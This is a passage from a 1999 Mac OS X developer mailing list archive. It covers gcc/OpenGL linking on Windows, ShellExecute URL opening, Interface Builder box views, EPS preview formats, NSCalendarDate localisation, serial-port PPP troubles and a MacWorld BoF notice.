Objective-C code (.m files). The object file generated from the .m source references the glColor3f() function as "_glColor3f@12" (where I believe the @12 refers to the fact that the function takes 12 bytes of parameter data (3 floats)). On the other hand, the object file generated from a .M source file references glColor3f() as just "_glColor3f" (omitting the "@12" suffix). This causes the link with opengl32.lib to fail. It looks like the gl.h header I'm #including is just failing to communicate to gcc somehow that these functions are going to be brought in from a DLL. (?) I've already modified my gl.h slightly to accomodate the fact that OS/E's gcc doesn't understand __stdcall. Before including gl.h, I define: #define APIENTRY __attribute__ ((stdcall)) #define WINGDIAPI (I had to "move" some of the invocations of APIENTRY in gl.h -- particularly in typedefs for callback functions -- since gcc doesn't allow __attribute__((stdcall)) everywhere that MSVC++ allows __stdcall.) Am I missing something else? A gcc equivalent to __declspec(dllimport) maybe? Someone _must_ have encountered and solved this problem already, but I've had no luck finding the answer online, so if it's a repeat please forgive me...! In any case, I'd very much appreciate a pointer in the right direction! Thanks! Troy Stephens troy.stephens@page44.com From cmh at greendragon.com Thu Jul 15 08:48:09 1999 From: cmh at greendragon.com (Chris Hanson) Date: Thu Nov 3 14:42:11 2005 Subject: Login authenticators Message-ID: I poked around a little bit, but didn't find any docs or examples last night. Does anyone have any information -- or know where I could find some -- on how to write a login authenticator? Thanks, Chris From maury at OAAI.COM Thu Jul 15 09:02:28 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: URL's under NT Message-ID: <199907151556.LAA01262@OAAI.COM> > Do you mean the regular system() function? Are you trying to call a shell > from an NT program? I need more info to answer that question. A couple of people have asked me about this, and I've asked a couple of people about this as well, so I'll post this one publically. The solution to opening an URL under NT is shockingly simple, but it does raise an interesting question. Here's the code... HINSTANCE newApp; // set up a buff for the URL char *buff = malloc([URL cStringLength]); URL getCString:buff]; newApp = ShellExecute(NULL, NULL, buff, NULL, NULL, SW_NORMAL); // now check if it worked, only report some errors because win will // report lots of ERROR_FILE_NOT_FOUNDs if (newApp <= (void *)32) { // do something } Yes, that leaks. The part I don't understand is why can't I do this... HINSTANCE newApp = ShellExecute(NULL, NULL, [URL getCString:buff], NULL, NULL, SW_NORMAL); That doesn't work and I've seen the same problem in other places too. I guess I don't totally understand what [URL getCString:buff] is doing. Maury From mike at lorax.com Thu Jul 15 19:14:00 1999 From: mike at lorax.com (Mike Ferris) Date: Thu Nov 3 14:42:11 2005 Subject: Handling the Paste Board Message-ID: <199907160309.UAA06621@boom.lorax.com> One common technique for where to put the data that is needed to lazily provide pasteboard types is to put the data on the pasteboard. Usually you will have a type which is more native than the rest and which provides the richest (non-lossy, ideally) representation. So, if you want to support that native type plus a whole bunch of other types on the pasteboard you can declare them all and provide the native type immediately. You can then do the other types lazily. When you are asked to provide a type lazily, you read the native data from the pasteboard and convert it into the requested type stick the result back on the pasteboard. This technique has another advantage which is that the "snapshot" is automatically cleaned up. If the pasteboard gets some new contents your data will go away since it is the prior contents that are being replaced. Ater that you will never be asked to provide the lazy data, so you won't need the native type data. Another common trick is to make the lazy data provider be the class factory rather than an instance. So, for a document application, instead of making the document object that the data came from the lazy provider, make the document's class object the provider. Then, if the user closes the original document, you can still provide the lazy data later. Mike Ferris From malte at oops.se Fri Jul 16 01:57:49 1999 From: malte at oops.se (Malte Tancred) Date: Thu Nov 3 14:42:11 2005 Subject: Mac OS X and PowerBooks Message-ID: How soon will a Lombard compatible version of Mac OS X (and/or Mac OS X Server) be released? /Malte From malcolm.handley at stonebow.otago.ac.nz Fri Jul 16 02:42:25 1999 From: malcolm.handley at stonebow.otago.ac.nz (malcolm handley) Date: Thu Nov 3 14:42:11 2005 Subject: Nested views in IB Message-ID: This must be a very simple question, but I cannot find the answer. I am setting up box views in IB that contain other items. The only way that I can see to get items inside the box is to select them all and choose Format:Group:Group in box. If I already have some items in the box and I decide to add more, then it seems that I have to ungroup them, add the new items, select the whole lot and regroup them. Is there really no better way? I've looked in the IB docs but not found anything. I have also tried dragging the items around in the list form of the instance view, with no luck. When I option-drag an item from inside a box view to somewhere else, the image moves while the mouse is down, but it seems to to be able to be dropped anywhere. What is that for? The other difficulty with this is adding sub views to custom views. The only way that I can see to do this is to have the view programmatically load the sub items from somewhere else after it is created. This makes it difficult fore me to change the appearance of the view when it is used in different parts of my program (I would like to rearrange the sub items). Any tips would be helpful. malcolm. From Paul_Lynch at plsys.co.uk Fri Jul 16 02:49:54 1999 From: Paul_Lynch at plsys.co.uk (Paul Lynch) Date: Thu Nov 3 14:42:11 2005 Subject: Nested views in IB In-Reply-To: References: Message-ID: <199907160949.KAA03399@srabon.plsys.co.uk> malcolm handley wrote: > I am setting up box views in IB that contain other items. The only way that > I can see to get items inside the box is to select them all and choose > Format:Group:Group in box. If I already have some items in the box and I > decide to add more, then it seems that I have to ungroup them, add the new > items, select the whole lot and regroup them. Click/double-click inside the box, then you can drag or paste inside. There is no need to ungroup. Paul --- Paul Lynch (NeXTmail) paul@plsys.co.uk Tel: (01494)432422 P & L Systems Fax: (01494)432478 http://www.plsys.co.uk/~paul From Philippe.Robert at uptime.ch Fri Jul 16 02:53:40 1999 From: Philippe.Robert at uptime.ch (Philippe Robert) Date: Thu Nov 3 14:42:11 2005 Subject: Nested views in IB In-Reply-To: References: Message-ID: <9907160953.AA26562@california.uptime.ch> You wrote: > Is there really no better way? I've looked in the IB docs but not found AFAIK not, but then, I could be wrong... > The other difficulty with this is adding sub views to custom views. The > only way that I can see to do this is to have the view programmatically > load the sub items from somewhere else after it is created. This makes it > difficult fore me to change the appearance of the view when it is used in > different parts of my program (I would like to rearrange the sub items). Perhaps by creating a palette with an inspector?! sweet dreams, Phil -- Philippe C.D. Robert | Uptime ObjectFactory Inc Unix/OpenStep Software Engineer | http://www.uptime.ch http://www.nice.ch/~phip | info@uptime.ch From sbrandon at music.gla.ac.uk Fri Jul 16 03:00:34 1999 From: sbrandon at music.gla.ac.uk (Stephen Brandon - SysAdmin) Date: Thu Nov 3 14:42:11 2005 Subject: Nested views in IB In-Reply-To: <9907160948.AA08748@terpus.gmd.de> References: <9907160948.AA08748@terpus.gmd.de> Message-ID: <199907161000.LAA20588@music.gla.ac.uk> malcolm wrote: > I am setting up box views in IB that contain other items. The only way that > I can see to get items inside the box is to select them all and choose > Format:Group:Group in box. If I already have some items in the box and I > decide to add more, then it seems that I have to ungroup them, add the new > items, select the whole lot and regroup them. > <<<>>> Try double-clicking in the box to start with. Then drag from the palette. The item is added to the box. You can't do this with other items in the window though, unless you copy and paste them into the box in the same way (it's just dragging them in that doesn't work). > The other difficulty with this is adding sub views to custom views. The > only way that I can see to do this is to have the view programmatically > load the sub items from somewhere else after it is created. This makes it > difficult fore me to change the appearance of the view when it is used in > different parts of my program (I would like to rearrange the sub items). As far as I know, this is inevitable. Steve "Kiwi in exile" Brandon From malcolm.handley at stonebow.otago.ac.nz Fri Jul 16 15:48:22 1999 From: malcolm.handley at stonebow.otago.ac.nz (malcolm handley) Date: Thu Nov 3 14:42:11 2005 Subject: Nested views in IB In-Reply-To: <199907161000.LAA20588@music.gla.ac.uk> References: <9907160948.AA08748@terpus.gmd.de> <9907160948.AA08748@terpus.gmd.de> Message-ID: Thanks for the tips. They've made life much easier. malcolm. From stark at easynet.fr Thu Jul 15 22:15:45 1999 From: stark at easynet.fr (stark@easynet.fr) Date: Thu Nov 3 14:42:11 2005 Subject: Nested views in IB References: Message-ID: <9907160515.AA01023@easynet.fr> Hi, > This must be a very simple question, but I cannot find the answer. > > I am setting up box views in IB that contain other items. The only way that > I can see to get items inside the box is to select them all and choose > Format:Group:Group in box. If I already have some items in the box and I > decide to add more, then it seems that I have to ungroup them, add the new > items, select the whole lot and regroup them. Double-clic on the box to select it first. > Is there really no better way? I've looked in the IB docs but not found > anything. I have also tried dragging the items around in the list form of > the instance view, with no luck. That was a pretty good idea. > When I option-drag an item from inside a > box view to somewhere else, the image moves while the mouse is down, but it > seems to to be able to be dropped anywhere. What is that for? Mmm. This is a smart one. You can move the item to another window in the same nib without breaking the connections (copy/paste would break the connection). There is a bug that prevent drag to the same window, so, when you want to move an item inside (or outside) a box without breaking any connection, you can do this by passing throught another window. The other use of option-drag is for dynamic palettes. Use the menu Tools->Palettes->New to create a new palette. You can now use Option-Drag to populate your palette. This is handy to have pre-configured UI elements. > The other difficulty with this is adding sub views to custom views. You can't do this. > The > only way that I can see to do this is to have the view programmatically > load the sub items from somewhere else after it is created. This makes it > difficult fore me to change the appearance of the view when it is used in > different parts of my program (I would like to rearrange the sub items). > > Any tips would be helpful. > > malcolm. > > > Cheers, --fred From ari at dsimulation.com Sun Jul 18 00:08:18 1999 From: ari at dsimulation.com (Ari Danesh) Date: Thu Nov 3 14:42:11 2005 Subject: Can't find .class files for Java Applets, Help (MacOS X Server) Message-ID: <00034fe7bf7a675c_mailit@relay.macconnect.com> I am always getting exception errors on my components that have Java Applets. The error is "can't load class." I have tried these pages on both Navigator and IE. And have tried them both on Mac and PC clients. At first I thought it was me, but then I tried the Time Off Client Side Java demo and the same problem occured. Is this a bug in WO for Mac OS, or do I have to manually configure something. Please help, Ari From maury at OAAI.COM Mon Jul 19 07:13:34 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: URL's under NT Message-ID: <199907191406.KAA06486@OAAI.COM> > > // set up a buff for the URL > > char *buff = malloc([URL cStringLength]); > > You need one more byte for the NUL terminator. Maybe it's just me, but seeing as a c string is _defined_ as having the null at the end, shouldn't the length include this? > > URL getCString:buff]; > > Execution of your program is undefined from this point, as getCString: > overrides one byte of unallocated memory. I assume it works anyway (I did fix it) by luck (ie, the memory was free where I malloced it). Still this doesn't explain why [URL cString] doesn't work though. I assume that the ShellExecute wants to change it, but I can't imagine why! > [URL getCString:buff] is declared void. I hope that you are not serious when > you use it as an argument to ShellExecute() ? For all the people that emailed me, that is a cut and paste typo. This works... char *buff = malloc([URL cStringLength] + 1); [URL getCString:buff]; newApp = ShellExecute(NULL, NULL, buff, NULL, NULL, SW_NORMAL); Whereas this does not... newApp = ShellExecute(NULL, NULL, [URL cString], NULL, NULL, SW_NORMAL); Maury From aep at apple.com Mon Jul 19 11:40:21 1999 From: aep at apple.com (Andrew Platzer) Date: Thu Nov 3 14:42:11 2005 Subject: Controlling visibleRect and disabling drawing Message-ID: <199907191840.LAA60884@scv4.apple.com> > I'm having trouble with a custom subclass of NSMatrix. If you have > a matrix inside of a scrollView and you call renewRows..., NSMatrix appears > to be trying to scroll back to the top of the matrix while making sure that > at least the selectedCells are visible. I'm trying to refine this behaviour > and believe I have done so using the setVisibleRect: on NSView. The problem > is that as I call renewRows, the matrix jumps, first to the default position, > and then back to where I want it. I was under the impression that using > disableFlushWindow and enableFlushWindow would turn off the drawing, and the > user would see only the final location. Unfortunately, though I have > bracketed the renewRows and my setVisibleRect: calls in disableFlushWindow > and enableFlushWindow calls, the jumping still happens. I have verified that > the window is buffered. -[NSMatrix renewRows: columns:] calls -[NSMartrix deselectAllCells]. If you want to retain the selection, you may want to use -[NSMatrix insertRow:] and its ilk instead. renewRows: should be used when the matrix is being reinitialized, not just to add or remove a row or column. When you say you are using -[NSView setVisibleRect:], I assume that this is a method you added? This variable is not settable but is used when rendering to determine what part of a view to render and setting it explicitly probably has no effect. -[NSView disableFlushWindow] and -[NSView enableFlushWindow] only set a flag. No actual drawing occurs when -[NSView enableFlushWindow] is called and you will actually need dirty the view if you want it to be redrawn. If you are running a single threaded app, all display happens after the last event is handled so if you a do a bunch of operations that were initiated by an event, only the final result should be rendered. Andrew ______________________________________________________________ Andrew Platzer | Application Frameworks | Apple Computer, Inc. (408) 974-2875 | aep@apple.com From sbrandon at music.gla.ac.uk Tue Jul 20 02:34:28 1999 From: sbrandon at music.gla.ac.uk (Stephen Brandon - SysAdmin) Date: Thu Nov 3 14:42:11 2005 Subject: URL's under NT In-Reply-To: <199907191406.KAA06486@OAAI.COM> References: <199907191406.KAA06486@OAAI.COM> Message-ID: <199907200934.KAA27939@music.gla.ac.uk> Maury wrote: > I assume it works anyway (I did fix it) by luck (ie, the memory > was free where I malloced it). Still this doesn't explain why [URL > cString] doesn't work though. I assume that the ShellExecute wants > to change it, but I can't imagine why! > If I recall correctly, [nsstringinstance cString] returns a string that is only guaranteed valid as long as an auto-released object would be. Perhaps it is being released early for some reason? Just a thought, Stephen Brandon From bbum at codefab.com Tue Jul 20 18:42:30 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:11 2005 Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 Message-ID: The Mac OS X / WebObjects BoF will take place at 7pm Wednesday 21st July, in the Jacob Javits Center, in room 1E16. For more details see the Stepwise website: http://www.stepwise.com/ Thanks to bbum for allowing me net access. Best wishes, mmalc@bill's house in the suburbs of Manhattan... From sbrandon at music.gla.ac.uk Wed Jul 21 06:42:41 1999 From: sbrandon at music.gla.ac.uk (Stephen Brandon - SysAdmin) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues Message-ID: <199907211342.OAA00936@music.gla.ac.uk> Hi, I'm pretty close to getting Calliope.app, the music notation editor, running on WebObjects/Windows. Great. But one of the useful features of Calliope has always been selecting a piece of the music notation and doing a cut-and-paste (or save) as an EPS, into other applications. Of course on Windows EPS files don't show up, eg in MS Word, unless they have a bitmapped preview as part of the EPS file. I figure that it should be very easy to create a bitmap to place into the EPS file, using similar methods to the ones used to create the EPS, but I have no idea (a) what image format the bitmap should be in (b) the encoding to use (c) the "proper" way to insert the bitmap data into the EPS after the header (do I really have to parse it?). Are there any freeware libraries out there for doing this sort of thing? Some basic docs I found on the web describing EPSF format didn't help when I tried to hack together a file and import it into Word. Secondly, I would like to be able to force particular fonts to be included in a print job, without having to do a Print to File -> Include Fonts. This is because we'll be using a networked PS printer which will not have important fonts like Sonata installed by default. There may be utilities which can upload fonts to the printer, but it would be really useful to just include them in the file by default. This makes it easier to print to a number of different printers without having to configure them first. So, ideas/code fragments please? What are other people doing about this? [Does GlyphiX attempt to solve this problem Maury?] Thanks for any pointers, Stephen Brandon From maury at OAAI.COM Wed Jul 21 07:43:38 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues Message-ID: <199907211436.KAA09888@OAAI.COM> > Of course on Windows EPS files don't show up, eg in MS Word, unless they > have a bitmapped preview as part of the EPS file. heh. Thank you for bringing this up, because I didn't even know that it wasn't exporting the preview. I'll report this as a bug. Luckily it should be easy to fix. According to Graphics File Formats you need to... a) prepend a header (format below) b) include the normal EPS data c) append the preview image The preview image can be in PICT, WMF, TIFF or EPSI. I'm assuming that the Windows apps are going to expect a WMF, but that might not be the case. As an experiment I would recommend trying it with an uncompressed TIFF preview, because that's the easiest to generate. typdef struct EPSHeader { BYTE Id[4]; DWORD PostScriptOffset; DWORD WMFOffset; DWORD WMFSize; DWORD TIFOffset; DWORD TIFSize; DWORD Checksum; } EPSHEADER; The readers look for the presense of a preview by reading the first four chars of the file. If there's a preview the ID will be C5 D0 D3 C6, otherwise it should find the normal EPS header, which would be %!PS. PostScriptOffset is the start of the PS part of the file. That's after the header, so it's always 32. Set the WMF fields to zero, and the TIF fields to the postion of your data. I would recommend... 1) get the EPS into a NSData 2) get the TIFF data (uncompressed) into another 3) make the header in another Mutable one, then append (1) and then (2) 4) write it out If this doesn't work, suspect my concept first, and check your offsets carefully. If it still doesn't work the apps you're using might take WMF or EPSI only. I can figure out how to make an EPSI given 15 minutes or so, but the WMF might be a problem. EPSI is supposed to be supported by all readers and writers, and it seems easier, so we'll go that route next. I hope this is different than what you found on the web! Maury > > I figure that it should be very easy to create a bitmap to place into the > EPS file, using similar methods to the ones used to create the EPS, but I > have no idea (a) what image format the bitmap should be in (b) the encoding > to use (c) the "proper" way to insert the bitmap data into the EPS after the > header (do I really have to parse it?). Are there any freeware libraries out > there for doing this sort of thing? Some basic docs I found on the web > describing EPSF format didn't help when I tried to hack together a file and > import it into Word. > > Secondly, I would like to be able to force particular fonts to be included > in a print job, without having to do a Print to File -> Include Fonts. This > is because we'll be using a networked PS printer which will not have > important fonts like Sonata installed by default. There may be utilities > which can upload fonts to the printer, but it would be really useful to just > include them in the file by default. This makes it easier to print to a > number of different printers without having to configure them first. > > So, ideas/code fragments please? What are other people doing about this? > [Does GlyphiX attempt to solve this problem Maury?] > > Thanks for any pointers, > Stephen Brandon > > From scorthes at lysis.ch Wed Jul 21 07:34:22 1999 From: scorthes at lysis.ch (Stephane Corthesy) Date: Thu Nov 3 14:42:11 2005 Subject: -[NSCalendarDate descriptionWithCalendarFormat:locale:] and locale Message-ID: <199907211434.AA20197@albator> Hi, I've found what could be a bug in -[NSCalendarDate descriptionWithCalendarFormat: locale:]. I'm working on OS4.2 (Mach and NT). When you use this method and give %c as calendarFormat (i.e. a localized representation of the time and date) and nil as locale (or use -[NSCalendarDate descriptionWithCalendarFormat:@"%c"]), the returned string uses a hardcoded calendarFormat which does not depend from user's preferred languages locales, and uses English words. If my environment uses French language (userDefaults NSLanguages = (French)) and I ask: [[NSCalendarDate calendarDate] descriptionWithCalendarFormat:@"%c" ] it returns Wed Jul 21 15:59:10 CEST 1999 whereas I expected: Mer 21 Jul 1999 15:59:10 CEST This can be more annoying if you use the calendar format %x in a nib (because you cannot specify the locale), and even in code, because you must specify the locale Does anyone else think it's a bug and that -[NSCalendarDate descriptionWithCalendarFormat:@"%c" locale:nil] should use [[NSUserDefaults standardUserDefaults] dictionaryRepresentation] as a default locale if given locale is nil or does not contain needed key-value pairs? The same problem might exist with other classes, but I didn't check it. St?phane -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1330 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990721/ee3d5571/attachment.bin From marcel at system.de Wed Jul 21 08:25:35 1999 From: marcel at system.de (Marcel Weiher) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues Message-ID: Maury, the approach you give is essentially correct, though you have to be careful not to produce 2 bit grayscale or 12/16 bit color TIFFs that no-one in the world can read, despite Sam Leffler's TIFF library being freely available. Here is the code for a command line tool I wrote a couple of years ago for adding previews to EPS files, for your cutting and pasting pleasure. The TIFF preview worked fairly well, finding a program that actually understood EPSI was difficult, so that isn't really tested. Marcel epspreview_main.m -------------- next part -------------- Skipped content of type multipart/mixed From cmh at greendragon.com Wed Jul 21 08:41:23 1999 From: cmh at greendragon.com (Chris Hanson) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues In-Reply-To: <199907211436.KAA09888@OAAI.COM> Message-ID: At 9:44 AM -0500 7/21/99, Maury Markowitz wrote: > The preview image can be in PICT, WMF, TIFF or EPSI. I'm assuming >that the Windows apps are going to expect a WMF, but that might not >be the case. As an experiment I would recommend trying it with an >uncompressed TIFF preview, because that's the easiest to generate. Just a nit... An EPS with such a header and an in-fork preview image *is* an EPSI. Also, you don't use such a header when building an EPS with a PICT preview, because the PICT goes in the resource fork. (Yes, I know this won't work on Windows or Unix. EPS files with PICT previews lose the preview on Windows and Unix, which is why EPSI exists.) Most EPSI files I've seen have the TIFF preview immediately following the header, and have the PostScript after that. Of course, a well-implemented EPS consumer won't care, but sometimes you have to code defensively... There's official documentation on this in the Encapsulated PostScript File Format documentation at Adobe. It was part of the second-edition Red Book, but in my copy of the third edition it's been moved to a technote on Adobe's web site. From maury at OAAI.COM Wed Jul 21 09:18:49 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues Message-ID: <199907211611.MAA10089@OAAI.COM> > Just a nit... An EPS with such a header and an in-fork preview image *is* > an EPSI. This seems to be a confusing issue dealing primarily with naming. In the book EPSI refers specifically to a EPS file with the "Encapsulated PostScript Interchange" preview built in. Later they note that some platforms refer to EPSI to mean any type of embedded file - Windows specifically - when it's supposed to mean something more specific. It seems unclear one way or the other. What they don't mention is where the heck you put the EPSI data if you want to use that format. Do you put it right in the header of the EPS file? If so, does it have to start after a specific line (like the %! header line?), or do you put anywhere? > Also, you don't use such a header when building an EPS with a > PICT preview, because the PICT goes in the resource fork. This is something that bugs me about the format. Not only does it support several preview formats which seem to be spottily supported on different platforms, but even the data side changes line ends on you. Nor is it defined whether or not you need the control-D or showpage at the end of the file, and in fact there are implementations that will break given any specific combination! > There's official documentation on this in the Encapsulated PostScript File > Format documentation at Adobe. It was part of the second-edition Red Book, > but in my copy of the third edition it's been moved to a technote on > Adobe's web site. Cool, thanks for the pointer. Maury From ddd at cup.hp.com Wed Jul 21 10:01:42 1999 From: ddd at cup.hp.com (Christophe de Dinechin) Date: Thu Nov 3 14:42:11 2005 Subject: Dialup devices for internal modem. Message-ID: <199907211701.KAA10882@cllmail.cup.hp.com> Andrew, I spent quite some time trying to make PPP work on my PowerBook G3. By browsing the archives of this list (and some Darwin archives), you may be able to see what I sent at the time. The bottom line is: don't waste too much time on this. As far as I can tell, the devices you mention address the serial ports of beige G3 or Powerbooks. I doubt they do any good on a B/W G3. Anyway, PPP won't work primarily because the serial driver is quite broken. On my Powerbook G3, I could echo some data to the external serial port (by using /dev/cuaa). I noticed that if I send "too much data", or send it "too fast" (with a quite fuzzy definition of too much), the serial driver just dies (it no longer echoes or receives anything), and you have to reboot the machine. Attempting to unload it and restart it (with kl_util) can even cause a kernel panic (the only one I got so far...) Of course, you can first start by trying to fix the serial driver in Darwin. I was unable to find enough time to do this. If on your B/W G3, you can create a serial driver that addresses your internal modem, you may then be able to do something useful with the RhapPPP source. But this won't be easy. I have a slightly modified RhapPPP source if you want to start this, which compiles and installs on my machine. Regarding the PowerBook, I could dialup on an external modem, but the serial line would die immediately after connection started. The internal modem ("Cobalt", according to Linux sources), seems hopeless. The PowerBook G3 has two Zilog ESCC serial chips, not one. The "first" one addresses the external serial and the infrared port. The second one has the internal modem, which needs to be powered using "feature" bits. Even after writing a small device driver that would enable the feature bit and power the Cobalt modem, it still did not react to /dev/cuab. So I strongly suspect that /dev/cuab is actually the second line on the first ESCC, namely the infrared, and that there is no easy way to get to the Cobalt modem. Good luck anyway, and if you find anything, please keep me posted. Regards Christophe From: "Andrew Weiss" > > Does anybody know what /dev/dialup0, /dev/dialup1, /dev/cuaa, /dev/cuab, > /dev/cuia, and /dev/cuib (I think the last two are correct) are supposed to > reference respectively. In hopes of maybe compiling pppd with some tweaking > for my B&W internal G3 modem, I was hoping I could get a modem response by > echoing "ATDT"> /dev/whatever. Dialup0 says that that is the wrong way to > use that device, and cuaa locks the machine up completely (I'd assume that > this is indeed the internal motherboard modem device, which I can't see as > being serial since it's reported to have port transfer rates of 256K). Does > anybody know how MacOS 8.x accesses the modem. I know it's a long shot, but > I gotta have something to play with. Sucks that there is no standard PPP in > OS X. It's absolutely useless to me right now. I don't exactly like 8.6 > all that much, and I only have a 28K in my Pentium Pro. Also has anybody > had any luck with the System Disk Extension or switching to OS 8.x on B&W... > if I hold down option, then I get an endlessly rebooting computer. Booting > off CD works fine (this is how I restore OS 8.x), and system disk works fine > as an application, but when I use the extension version, it locks up before > I can select anything. > > Thanks, > Andrew > > P.S. Would apple developers answer these questions, or is there some NDA > rigamarole around the internal G3 modem? > > > From anderkh at texaco.com Wed Jul 21 10:26:54 1999 From: anderkh at texaco.com (Anderson, Ken H) Date: Thu Nov 3 14:42:11 2005 Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 Message-ID: <59FAC5188B0FD311A04100805F5789DA5EC5@MSX01008> Can anyone tell me if it's possible to access room 1E16 with an exhibits only badge? I'd hate to travel down to NYC only to find out I can't attend. Thanks, Ken -----Original Message----- From: Bill Bumgarner [mailto:bbum@codefab.com] Sent: Tuesday, July 20, 1999 9:53 PM To: Multiple recipients of list Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 The Mac OS X / WebObjects BoF will take place at 7pm Wednesday 21st July, in the Jacob Javits Center, in room 1E16. For more details see the Stepwise website: http://www.stepwise.com/ Thanks to bbum for allowing me net access. Best wishes, mmalc@bill's house in the suburbs of Manhattan... From anderkh at texaco.com Wed Jul 21 10:29:18 1999 From: anderkh at texaco.com (Anderson, Ken H) Date: Thu Nov 3 14:42:11 2005 Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 Message-ID: <59FAC5188B0FD311A04100805F5789DA5EC6@MSX01008> Also, if I can't get in, does anyone know if something is happening afterwards and where? Thanks again, Ken -----Original Message----- From: Bill Bumgarner [mailto:bbum@codefab.com] Sent: Tuesday, July 20, 1999 9:53 PM To: Multiple recipients of list Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 The Mac OS X / WebObjects BoF will take place at 7pm Wednesday 21st July, in the Jacob Javits Center, in room 1E16. For more details see the Stepwise website: http://www.stepwise.com/ Thanks to bbum for allowing me net access. Best wishes, mmalc@bill's house in the suburbs of Manhattan... From marcel at system.de Wed Jul 21 10:53:02 1999 From: marcel at system.de (Marcel Weiher) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues Message-ID: > From: Maury Markowitz > What they don't mention is where the heck you put the EPSI data if > you want to use that format. Do you put it right in the header of > the EPS file? If so, does it have to start after a specific line > (like the %! header line?), or do you put anywhere? The EPSI preview section follows immediately after the %%EndComments: line in an EPS file. In the preview section 0 is white and 1 is black (reverse of Postscript default). The preview can be of any resolution. Thus the width,height of the '%%BeginPreview: width height depth lines' specify the amount of data provided, the EPSes BoundingBox the actual size. What is unclear is how to specify color formats for the preview, or wether this is possible at all since there is only a single "depth" parameter. > > Also, you don't use such a header when building an EPS with a > > PICT preview, because the PICT goes in the resource fork. > > This is something that bugs me about the format. Not only does it > support several preview formats which seem to be spottily supported > on different platforms, but even the data side changes line ends on > you. The problem here is that it is not a single format. EPSI refers only to the device independent preview embedded as Postscript comments. The others go under the heading of "device-specific screen preview". As far as I can tell, their description is to be read as "these are the hacks that have been used to provide a screen preview on different platforms". > Nor is it defined whether or not you need the control-D or > showpage at the end of the file, and in fact there are > implementations that will break given any specific combination! Postscript files should *never* include a Ctrl-D. The Ctrl-D is a part of specific communications protocols used to send Postscript language files and should only be appended when writing directly to a device via such a communications channel. In essence, neither Apps nor printer drivers should ever do this (except for the communications driver). Generators of EPS files should not include the showpage command, but readers should disable it as shown in the red book. Marcel From bbum at codefab.com Wed Jul 21 11:01:13 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:11 2005 Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 In-Reply-To: <59FAC5188B0FD311A04100805F5789DA5EC5@MSX01008> Message-ID: It should not be a problem.... That particular exhibit hall is on [facing javitz] the left, downstairs.... you don't have to go through anything to get there [as far as I can tell]. BTW: the ibook is cool. I wonder if it runs os x server? :-) b.bum On Wed, 21 Jul 1999, Anderson, Ken H wrote: > Can anyone tell me if it's possible to access room 1E16 with an exhibits > only badge? I'd hate to travel down to NYC only to find out I can't attend. > > Thanks, > Ken > > -----Original Message----- > From: Bill Bumgarner [mailto:bbum@codefab.com] > Sent: Tuesday, July 20, 1999 9:53 PM > To: Multiple recipients of list > Subject: Mac OS X / WebObjects BOF @ MacWorld NYC Summer 1999 > > > > The Mac OS X / WebObjects BoF will take place at 7pm Wednesday 21st July, in > the > Jacob Javits Center, in room 1E16. > > For more details see the Stepwise website: http://www.stepwise.com/ > > Thanks to bbum for allowing me net access. > > Best wishes, > > mmalc@bill's house > in the suburbs of Manhattan... > > From kurash at sassafras.com Wed Jul 21 13:45:51 1999 From: kurash at sassafras.com (Mark Valence) Date: Thu Nov 3 14:42:11 2005 Subject: Building gcc (from included source) on MOSXS Message-ID: Has anyone been able to build gcc from its sources in /System/Developer/Source/GNU/gcc on MOSXS? I'm just trying to build the compiler out of the box. I've done ./configure powerpc-apple-rhapsody, but then when doing a make I get errors from vers_string and from within cccp.c. Errors in the latter seem to indicate that certain #defines are not defined (or undef'ed) as needed. TIA, Mark. From jman at clubi.ie Wed Jul 21 15:09:20 1999 From: jman at clubi.ie (justin armstrong) Date: Thu Nov 3 14:42:11 2005 Subject: applescript "make new" command Message-ID: <37964510.5647A042@clubi.ie> i have been experimenting with making a YB app scriptable (on mosxs). what i want to do is allow new instances of classes in my app to be created from applescript with the 'make' command. tell application "myapp" make new MyClass end tell the documentation seems to suggest (by the fact it doesn't have much to say one way or another) that you don't have to do anything special to make this work, other than mention your class in the .scriptSuite file. as NSCreateCommand is part of the CoreSuite it should just work, and call alloc and init on the specified class, right? well, nothing happens. no new MyClass instances are created. i found it simple enough to make already existing objects contained by the application delegate accessible with applescript's 'get' and 'set' commands. do TextEdit or Sketch support the 'make' command? applescript like "make new document" seems to be ignored by them, and i can't find anything that looks relevant to doing something like this in their source...but i thought that might be because all this is already in the document scripting framework? any help would be greatly appreciated! cheers, justin armstrong From mpelzsherman at yahoo.com Wed Jul 21 16:01:37 1999 From: mpelzsherman at yahoo.com (Michael Pelz Sherman) Date: Thu Nov 3 14:42:11 2005 Subject: NIB File Conversion Message-ID: <19990721230137.28309.rocketmail@web601.yahoomail.com> Does anyone have any good general approaches for converting nibs from old architectures to new ones? The big problem here is that the old nibs may contain encoded classes that do not exist in the new architecture. I'm working on some ideas of my own but I'd be interested in hearing what others have done here. Thanks, - Michael _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From wbrooks at anti-social.com Wed Jul 21 16:42:53 1999 From: wbrooks at anti-social.com (wbrooks@anti-social.com) Date: Thu Nov 3 14:42:11 2005 Subject: Getting IB to work with Yellow Box in Java Message-ID: <199907212342.TAA03319@gold1.digiweb.com> I'm trying to learn how to develop a new application against the Yellow Box APIs on Mac OS X server. To this end, i'm going through the tutorials one can find on Apple's ADC web site at 